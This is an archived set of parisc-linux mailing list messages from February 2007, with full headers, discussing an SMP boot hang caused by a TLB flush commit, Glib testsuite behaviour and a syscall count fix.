> recreate the scenario, but just reminding you to mine a little more
> data :-)

I remember that it was roughly:

1. ??? ()
2. ??? ()
3. ??? ()
4. ??? ()
(etc.)

=)

no debug symbols were on the system for glibc, libstdc++, or for apt. =)

If it's worth it, I can reproduce the environment by recompiling
things with debugging symbols on Dapper, then doing the upgrades,
making sure all the builds have the symbols they need.  I'm not
certain that I can do this before Sprout is likely to show up because
of the rebuilds, so it's a longer term project.

-- 
Jeff Bailey - http://www.raspberryginger.com/jbailey/
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] The parisc SMP boot problem
Date: Sun, 18 Feb 2007 14:32:37 -0500
Lines: 32
Approved: news@gmane.org
Message-ID: <20070218193237.GB22043__2797.28349200941$1416624300$gmane$org@athena.road.mcmartin.ca>
References: <1171820653.3423.22.camel@mulgrave.il.steeleye.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624300 22880 80.91.229.3 (22 Nov 2014 02:45:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:45:00 +0000 (UTC)
Cc: Parisc List <parisc-linux@lists.parisc-linux.org>
To: James Bottomley <James.Bottomley@SteelEye.com>
Original-X-From: - Wed Jul 02 21:27:38 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 18 Feb 2007 19:33:09 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx087) with SMTP; 18 Feb 2007 20:33:09 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 43DDD7DB48;
	Sun, 18 Feb 2007 12:33:06 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 01576-07; Sun, 18 Feb 2007 12:33:06 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id F2D827DB49;
	Sun, 18 Feb 2007 12:33:03 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6981F7DB46
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 18 Feb 2007 12:33:01 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 01585-03 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 18 Feb 2007 12:32:59 -0700 (MST)
Original-Received: from stout.engsoc.carleton.ca (stout.engsoc.carleton.ca
	[134.117.69.22])
	by free.linux.hp.com (Postfix) with ESMTP id 0F86A7DB44
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 18 Feb 2007 12:32:58 -0700 (MST)
Original-Received: from localhost (stout [127.0.0.1])
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 48EF65840B3;
	Sun, 18 Feb 2007 14:32:53 -0500 (EST)
Original-Received: from fattire.cabal.ca (cabal.ca [134.117.69.58])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id C11BA5840AF;
	Sun, 18 Feb 2007 14:32:52 -0500 (EST)
Original-Received: from athena.road.mcmartin.ca (206-248-151-76.dsl.ncf.ca
	[206.248.151.76])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client CN "roadwarrior.mcmartin.ca",
	Issuer "there.is.no.cabal.ca" (verified OK))
	by fattire.cabal.ca (Postfix) with ESMTP id 6A56C837DB;
	Sun, 18 Feb 2007 14:32:52 -0500 (EST)
Original-Received: by athena.road.mcmartin.ca (Postfix, from userid 1000)
	id 547933B06F; Sun, 18 Feb 2007 14:32:37 -0500 (EST)
Content-Disposition: inline
In-Reply-To: <1171820653.3423.22.camel@mulgrave.il.steeleye.com>
User-Agent: Mutt/1.5.13 (2006-08-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at engsoc.carleton.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: x9PtLQ4BZDI4sbHGdWY2SohxemhmY4EA
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24361

On Sun, Feb 18, 2007 at 11:44:13AM -0600, James Bottomley wrote:
> After a bit more of an analysis of our changesets (I concluded it must
> have been something we introduced).  This is the source of the SMP boot
> hang on 2.6.20-rcX:
> 
> commit 01a9fa750904beed08814364fcbd7039eca8ec71
> Author: Randolph <tausq@debian.org>
> Date:   Mon Dec 11 16:07:51 2006 -0800
> 
>     Optimize TLB flush on SMP systems
>     
>     Signed-off-by: Randolph Chung <tausq@debian.org>
> 
> As predicted, the reason it passed all the tests at the time it was
> introduced is that because of the piggin bug, we were only scheduling on
> a single CPU, and so the SMP piece of this wasn't truly tested.
> 
> Reverting this patch allows ioz to boot correctly.
> 

Ok. I'll revert it in the for-linus tree as well.

Any idea what was wrong with it?

Cheers,
	Kyle
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@SteelEye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] The parisc SMP boot problem
Date: Sun, 18 Feb 2007 14:27:18 -0600
Lines: 16
Approved: news@gmane.org
Message-ID: <1171830438.3423.26.camel__167.795716743235$1416624300$gmane$org@mulgrave.il.steeleye.com>
References: <1171820653.3423.22.camel@mulgrave.il.steeleye.com>
	<20070218193237.GB22043@athena.road.mcmartin.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624300 22881 80.91.229.3 (22 Nov 2014 02:45:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:45:00 +0000 (UTC)
Cc: Parisc List <parisc-linux@lists.parisc-linux.org>
To: Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: - Wed Jul 02 21:27:38 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 18 Feb 2007 20:27:33 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx043) with SMTP; 18 Feb 2007 21:27:33 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 412927DB70;
	Sun, 18 Feb 2007 13:27:29 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 02120-06; Sun, 18 Feb 2007 13:27:29 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3BFCA7DB71;
	Sun, 18 Feb 2007 13:27:27 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1D0137DB6E
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 18 Feb 2007 13:27:24 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 02006-05 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 18 Feb 2007 13:27:22 -0700 (MST)
Original-Received: from hancock.sc.steeleye.com (hancock.steeleye.com [71.30.118.248])
	by free.linux.hp.com (Postfix) with ESMTP id 1955F7DB6A
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 18 Feb 2007 13:27:21 -0700 (MST)
Original-Received: from [172.17.6.40] (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/8.11.6) with ESMTP id l1IKRIx30168; 
	Sun, 18 Feb 2007 15:27:19 -0500
In-Reply-To: <20070218193237.GB22043@athena.road.mcmartin.ca>
X-Mailer: Evolution 2.8.3 (2.8.3-1.fc6) 
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: hI/gcFoYbmw74a2HZzdLIldHUzc4ctHi
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24362

On Sun, 2007-02-18 at 14:32 -0500, Kyle McMartin wrote:
> Any idea what was wrong with it?

Not yet ... the fact that everything goes OK for a while then hangs
implies there's some issue with handling the SID wrap around, but I
can't pinpoint it yet.

James


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mike Frysinger <vapier@gentoo.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Glib testsuite under NPTL.
Date: Sun, 18 Feb 2007 20:23:18 -0500
Organization: wh0rd.org
Lines: 55
Approved: news@gmane.org
Message-ID: <200702182023.19401.vapier__38226.1437051513$1416624301$gmane$org@gentoo.org>
References: <119aab440702181557v18e47baya3e582298f7282ae@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
  boundary="===============0635038026=="
X-Trace: ger.gmane.org 1416624301 22882 80.91.229.3 (22 Nov 2014 02:45:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:45:01 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:38 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 19 Feb 2007 03:09:34 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx060) with SMTP; 19 Feb 2007 04:09:34 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 27B177DB9E;
	Sun, 18 Feb 2007 20:09:32 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04861-01; Sun, 18 Feb 2007 20:09:30 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 37A247DB99;
	Sun, 18 Feb 2007 20:09:28 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 21A077DB8E
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 18 Feb 2007 20:09:25 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04526-08 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 18 Feb 2007 20:09:23 -0700 (MST)
Original-Received: from smtp.gentoo.org (smtp.gentoo.org [140.211.166.183])
	by free.linux.hp.com (Postfix) with ESMTP id 6929B7DB8B
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 18 Feb 2007 20:09:23 -0700 (MST)
Original-Received: from home.wh0rd.org (pool-151-203-5-76.bos.east.verizon.net
	[151.203.5.76])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by smtp.gentoo.org (Postfix) with ESMTP id F28206489D
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 19 Feb 2007 03:09:21 +0000 (UTC)
Original-Received: (qmail 5704 invoked from network); 18 Feb 2007 20:14:54 -0500
Original-Received: from unknown (HELO vapier) (192.168.0.2)
	by 192.168.0.1 with SMTP; 18 Feb 2007 20:14:54 -0500
User-Agent: KMail/1.9.6
In-Reply-To: <119aab440702181557v18e47baya3e582298f7282ae@mail.gmail.com>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Mime-version: 1.0
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: p1K/LwkdaHI+4aWnKSUlBclqamdhZMT5
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24363

--===============0635038026==
Content-Type: multipart/signed; boundary="nextPart1840277.uTPQi4AurV";
	protocol="application/pgp-signature"; micalg=pgp-sha1
Content-Transfer-Encoding: 7bit

--nextPart1840277.uTPQi4AurV
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

On Sunday 18 February 2007, Carlos O'Donell wrote:
> The Glib testsuite tests the installed libglib, so beware that you
> have rebuild the library, install the library, and *then* run the
> tests.

that seems pretty braindead to me ...
-mike

--nextPart1840277.uTPQi4AurV
Content-Type: application/pgp-signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2.0.2 (GNU/Linux)

iQIVAwUARdj8B0FjO5/oN/WBAQKVDA//chwz3XwfzpxOFjFa2K3X/KwvalMuM/c1
VJwECeYpnhUMyW729Vflbz4aI8fsmEfzPrXA38cBdjxeobqIeiS1MYHS6IGENyZP
/y+2gheq5JtM0AEt1sWuDVJmnpbav8icghhHPz2yo64SX49Z5s3VoS3DbVyd+tlI
1HAGJHfTu4zw1jikMKv4Xw3ud8nrIPNKG9b4cViZTLzb8TzmMDtXjQQrepAz3TS4
8wHG8rLaO1f2zU3DrFlMZ9TtKP9Yer9qOXr+ojjmadrHM9F+wvHE2/mJKQwazJyY
nOD4Yy1DqbLMFlkK6RslHUAmSXFX9tPXRsY7CVSKFRAj/UHYv526F7pFSqeaVRHV
IRM/Fq0tKOOQaISKZeCVasB1aMDIdLo07BYrIJhaFvsa+1tXxz9DxqQVzVK4Rr1C
MTxNcWN1UH2oB1b3s13uwqO8mof3E8fV+G3YeTxzysImLUg/Y8yfka0B+pVaYoh3
nPDaHYh6pywlr/8ZDRkgcZAFK5SBYZys+ef7gLFRAxRUeFs9LmolKT0Jwyw81r/+
OW5Vu9Sbh3FW5lXwQwO3s5nq78XLdU6EVCF8v5w/3wv8/ViWS9FYd7IEIcb79Rbx
XM/NPH36RbptKfMwLxD4YMyRLGhkE803GCcgA0cb3qOWGEIYR/ekJ/lrGcCp7gqa
7QNDvvN3L9g=
=28aI
-----END PGP SIGNATURE-----

--nextPart1840277.uTPQi4AurV--

--===============0635038026==
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--===============0635038026==--



From - Thu Nov 08 21:35:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] statfs() problem with glibc-2.5
Date: Sun, 18 Feb 2007 22:16:27 -0500
Lines: 13
Approved: news@gmane.org
Message-ID: <20070219031627.GA28109__6300.25852374292$1416624301$gmane$org@athena.road.mcmartin.ca>
References: <20070212102844.f045d760.gmsoft@gentoo.org>
	<20070212153731.846e2ad3.gmsoft@gentoo.org>
	<20070217160642.GC2880@athena.road.mcmartin.ca>
	<119aab440702181911t32a25761t8bf1f2306376595d@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624301 22891 80.91.229.3 (22 Nov 2014 02:45:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:45:01 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: - Wed Jul 02 21:27:38 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 19 Feb 2007 03:16:54 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx085) with SMTP; 19 Feb 2007 04:16:54 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7C7587DBAE;
	Sun, 18 Feb 2007 20:16:51 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 05133-02; Sun, 18 Feb 2007 20:16:51 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8B71B7DBAF;
	Sun, 18 Feb 2007 20:16:47 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 95F847DBA7
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 18 Feb 2007 20:16:44 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04938-08 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 18 Feb 2007 20:16:42 -0700 (MST)
Original-Received: from stout.engsoc.carleton.ca (stout.engsoc.carleton.ca
	[134.117.69.22])
	by free.linux.hp.com (Postfix) with ESMTP id DDCEC7DB8B
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 18 Feb 2007 20:16:42 -0700 (MST)
Original-Received: from localhost (stout [127.0.0.1])
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 0B7F45840B3;
	Sun, 18 Feb 2007 22:16:42 -0500 (EST)
Original-Received: from fattire.cabal.ca (cabal.ca [134.117.69.58])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 9C9E15840AF;
	Sun, 18 Feb 2007 22:16:41 -0500 (EST)
Original-Received: from athena.road.mcmartin.ca (206-248-151-76.dsl.ncf.ca
	[206.248.151.76])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client CN "roadwarrior.mcmartin.ca",
	Issuer "there.is.no.cabal.ca" (verified OK))
	by fattire.cabal.ca (Postfix) with ESMTP id 47081837DB;
	Sun, 18 Feb 2007 22:16:41 -0500 (EST)
Original-Received: by athena.road.mcmartin.ca (Postfix, from userid 1000)
	id 82D0B3B06F; Sun, 18 Feb 2007 22:16:27 -0500 (EST)
Content-Disposition: inline
In-Reply-To: <119aab440702181911t32a25761t8bf1f2306376595d@mail.gmail.com>
User-Agent: Mutt/1.5.13 (2006-08-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at engsoc.carleton.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: wn+8BAgffW4o8+WveGVow8JmdmllcgXs
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24364

On Sun, Feb 18, 2007 at 10:11:13PM -0500, Carlos O'Donell wrote:
> >>  #define __NR_Linux_syscalls     298
> 
> You also forgot to update the total syscall count.
> 

I fixed that one for him. ;-)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] The parisc SMP boot problem
Date: Sun, 18 Feb 2007 22:25:46 -0500 (EST)
Lines: 16
Approved: news@gmane.org
Message-ID: <200702190325.l1J3Plun027178__42238.8121871792$1416624301$gmane$org@hiauly1.hia.nrc.ca>
References: <1171820653.3423.22.camel@mulgrave.il.steeleye.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624301 22897 80.91.229.3 (22 Nov 2014 02:45:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:45:01 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: James.Bottomley@SteelEye.com (James Bottomley)
Original-X-From: - Wed Jul 02 21:27:38 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 19 Feb 2007 03:25:58 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx027) with SMTP; 19 Feb 2007 04:25:58 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B81357DBB9;
	Sun, 18 Feb 2007 20:25:55 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 05133-08; Sun, 18 Feb 2007 20:25:55 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B48407DBAE;
	Sun, 18 Feb 2007 20:25:54 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0F3607DB89
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 18 Feb 2007 20:25:51 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 05130-05 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 18 Feb 2007 20:25:49 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 4041F7DB86
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 18 Feb 2007 20:25:49 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7) with ESMTP id l1J3PlwM027179;
	Sun, 18 Feb 2007 22:25:48 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7/Submit) id l1J3Plun027178;
	Sun, 18 Feb 2007 22:25:47 -0500 (EST)
In-Reply-To: <1171820653.3423.22.camel@mulgrave.il.steeleye.com> from "James
	Bottomley" at Feb 18, 2007 11:44:13 am
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
